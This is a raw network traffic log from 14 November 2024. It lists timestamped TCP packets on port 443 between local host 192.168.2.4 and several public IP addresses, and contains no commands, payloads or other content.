Nov 14, 2024 20:43:01.358262062 CET	443	49782	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:01.358319998 CET	49782	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:01.359268904 CET	443	49782	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:01.359319925 CET	49782	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:01.359677076 CET	49782	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:01.359761000 CET	443	49782	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:01.359886885 CET	443	49786	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:01.359987974 CET	49782	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:01.359993935 CET	443	49782	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:01.360117912 CET	49782	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:01.360147953 CET	443	49782	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:01.360347986 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.360352039 CET	49786	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:01.360372066 CET	443	49786	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:01.360886097 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.360894918 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.360918045 CET	443	49786	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:01.360948086 CET	443	49785	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.361449003 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.361510038 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.362442017 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.362514973 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.362844944 CET	49785	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.362863064 CET	443	49785	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.363085032 CET	49786	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:01.363178968 CET	443	49786	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:01.363262892 CET	49786	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:01.363626957 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.363723993 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.363729000 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.363753080 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.365257025 CET	443	49785	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.365727901 CET	49785	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.366076946 CET	49785	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.366087914 CET	443	49785	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.366137028 CET	443	49785	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.403368950 CET	443	49786	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:01.410150051 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.410161018 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.414843082 CET	49785	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.456371069 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.514843941 CET	443	49787	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:01.515110970 CET	49787	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:01.515172958 CET	443	49787	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:01.516108036 CET	443	49787	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:01.516182899 CET	49787	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:01.517903090 CET	443	49787	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:01.517980099 CET	49787	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:01.518110037 CET	49787	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:01.518245935 CET	443	49787	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:01.518290043 CET	49787	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:01.563330889 CET	443	49787	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:01.565268993 CET	49787	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:01.565331936 CET	443	49787	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:01.612821102 CET	49787	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:01.662731886 CET	443	49782	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:01.704276085 CET	49782	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:01.704287052 CET	443	49782	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:01.705272913 CET	49782	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:01.705342054 CET	443	49782	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:01.705415964 CET	49782	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:01.737210989 CET	443	49786	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:01.737346888 CET	443	49786	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:01.738049030 CET	49786	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:01.738115072 CET	443	49786	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:01.743927002 CET	49786	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:01.744071960 CET	443	49786	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:01.744146109 CET	49786	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:01.759071112 CET	443	49785	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.759185076 CET	443	49785	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.759274006 CET	49785	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.759340048 CET	443	49785	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.759763956 CET	49785	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.759866953 CET	443	49785	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.759938002 CET	49785	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.763875961 CET	49793	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:01.763958931 CET	443	49793	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:01.764041901 CET	49793	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:01.764317989 CET	49793	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:01.764353991 CET	443	49793	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:01.792646885 CET	443	49787	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:01.792695999 CET	443	49787	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:01.792757034 CET	49787	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:01.792774916 CET	443	49787	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:01.793765068 CET	49787	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:01.793862104 CET	49794	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:01.793868065 CET	443	49787	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:01.793948889 CET	443	49794	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:01.794022083 CET	49787	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:01.794071913 CET	49794	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:01.794560909 CET	49794	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:01.794599056 CET	443	49794	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:01.807959080 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.808123112 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.808126926 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.808160067 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.808299065 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.810050964 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.810064077 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.810127974 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.816068888 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.818051100 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.824917078 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.825030088 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.825083017 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.825090885 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.825318098 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.924582958 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.924865007 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.924967051 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.924990892 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.925097942 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.925240993 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.925247908 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.927709103 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.929069042 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.929078102 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.932895899 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.933507919 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:01.933516979 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:01.987591028 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:02.041487932 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.041709900 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.041819096 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.041922092 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.042061090 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.042059898 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:02.042093992 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.042109013 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:02.042181969 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:02.044568062 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.044759035 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.044945955 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:02.044959068 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.050127029 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.050246954 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:02.050249100 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.050272942 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.050456047 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:02.158132076 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.158353090 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.158471107 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.158519983 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:02.158529997 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.158940077 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.158979893 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:02.159686089 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:02.159686089 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:02.167309999 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:02.167402029 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:02.167473078 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:02.168117046 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:02.168152094 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:02.468494892 CET	49784	443	192.168.2.4	142.250.185.238
Nov 14, 2024 20:43:02.468513966 CET	443	49784	142.250.185.238	192.168.2.4
Nov 14, 2024 20:43:02.511347055 CET	443	49788	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:02.511590004 CET	49788	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:02.511625051 CET	443	49788	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:02.512831926 CET	443	49788	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:02.512904882 CET	49788	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:02.515219927 CET	443	49788	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:02.515266895 CET	49788	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:02.515454054 CET	49788	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:02.515501976 CET	443	49788	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:02.515580893 CET	49788	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:02.515595913 CET	49788	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:02.515611887 CET	443	49788	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:02.538649082 CET	49799	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:02.538666964 CET	443	49799	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:02.538759947 CET	49799	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:02.539009094 CET	49799	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:02.539019108 CET	443	49799	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:02.566508055 CET	49788	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:02.566539049 CET	443	49788	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:02.612747908 CET	49788	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:02.655246973 CET	443	49793	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:02.655616999 CET	49793	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:02.655642033 CET	443	49793	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:02.655971050 CET	443	49793	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:02.656039953 CET	49793	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:02.656821012 CET	443	49793	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:02.656888008 CET	49793	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:02.657020092 CET	49793	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:02.657087088 CET	443	49793	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:02.657155991 CET	49793	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:02.703326941 CET	443	49793	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:02.704085112 CET	443	49794	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:02.704341888 CET	49794	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:02.704408884 CET	443	49794	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:02.704961061 CET	443	49794	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:02.705038071 CET	49794	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:02.705909967 CET	49793	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:02.705940008 CET	443	49793	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:02.705974102 CET	443	49794	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:02.706043005 CET	49794	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:02.706368923 CET	49794	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:02.706458092 CET	443	49794	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:02.706619978 CET	49794	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:02.706636906 CET	443	49794	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:02.752780914 CET	49793	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:02.752958059 CET	49794	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:02.804332972 CET	443	49788	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:02.851604939 CET	49788	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:02.851638079 CET	443	49788	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:02.851917028 CET	49788	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:02.852066040 CET	443	49788	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:02.852210999 CET	49788	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:02.864445925 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:02.864487886 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:02.864619970 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:02.864645958 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:02.864675045 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:02.864757061 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:02.864890099 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:02.864905119 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:02.865017891 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:02.865046024 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:03.001732111 CET	443	49794	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:03.001847029 CET	443	49794	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:03.002104998 CET	49794	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:03.002171040 CET	443	49794	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:03.002737045 CET	49794	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:03.002850056 CET	443	49794	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:03.002918005 CET	49794	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:03.003714085 CET	49803	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:03.003757000 CET	443	49803	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:03.004424095 CET	49803	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:03.004633904 CET	49803	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:03.004650116 CET	443	49803	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:03.029145956 CET	443	49793	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.029220104 CET	49793	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.029247046 CET	443	49793	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.050240993 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.050451040 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.050514936 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.051071882 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.051362991 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.051455975 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.051475048 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.077518940 CET	49793	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.077533960 CET	443	49793	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.078177929 CET	49793	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.078473091 CET	443	49793	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.078645945 CET	49793	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.099344015 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.099777937 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.583837032 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.583873034 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.583905935 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.583930969 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.583969116 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.584017992 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.584336042 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.584382057 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.584590912 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.584645033 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.584647894 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.584671974 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.584742069 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.585225105 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.585273027 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.585665941 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.586694956 CET	443	49799	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:03.587979078 CET	49799	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:03.588001966 CET	443	49799	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:03.588619947 CET	443	49799	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:03.589967966 CET	49799	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:03.590022087 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.590054035 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.590056896 CET	443	49799	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:03.590081930 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.590101957 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.590111017 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.590126991 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.590527058 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.590547085 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.590573072 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.590579987 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.590641975 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.590650082 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.593588114 CET	49799	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:03.593743086 CET	49799	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:03.593775034 CET	443	49799	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:03.631762981 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.631779909 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.678250074 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.680430889 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.680608034 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.680687904 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.680697918 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.680723906 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.680775881 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.680809021 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.680959940 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.681051016 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.681104898 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.681122065 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.681255102 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.681267023 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.689404964 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.689475060 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.689490080 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.689574003 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.689620018 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.689632893 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:03.741058111 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:03.748964071 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:03.749154091 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:03.749161005 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:03.750024080 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:03.750076056 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:03.750941992 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:03.750993967 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:03.751122952 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:03.753750086 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:03.753921032 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:03.753945112 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:03.755577087 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:03.755642891 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:03.755903006 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:03.755996943 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:03.755999088 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:03.791351080 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:03.803348064 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:03.804327965 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:03.804339886 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:03.804343939 CET	443	49801	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:03.804356098 CET	443	49802	216.58.206.46	192.168.2.4
Nov 14, 2024 20:43:03.850807905 CET	49801	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:03.850816011 CET	49802	443	192.168.2.4	216.58.206.46
Nov 14, 2024 20:43:03.869138002 CET	49805	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:03.869225979 CET	443	49805	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:03.869299889 CET	49805	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:03.869525909 CET	49805	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:03.869551897 CET	443	49805	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:04.030045986 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:04.030169964 CET	443	49797	142.250.186.46	192.168.2.4
Nov 14, 2024 20:43:04.030267000 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:04.030462027 CET	49797	443	192.168.2.4	142.250.186.46
Nov 14, 2024 20:43:04.030497074 CET	443	49797	142.250.186.46	192.168.2.4
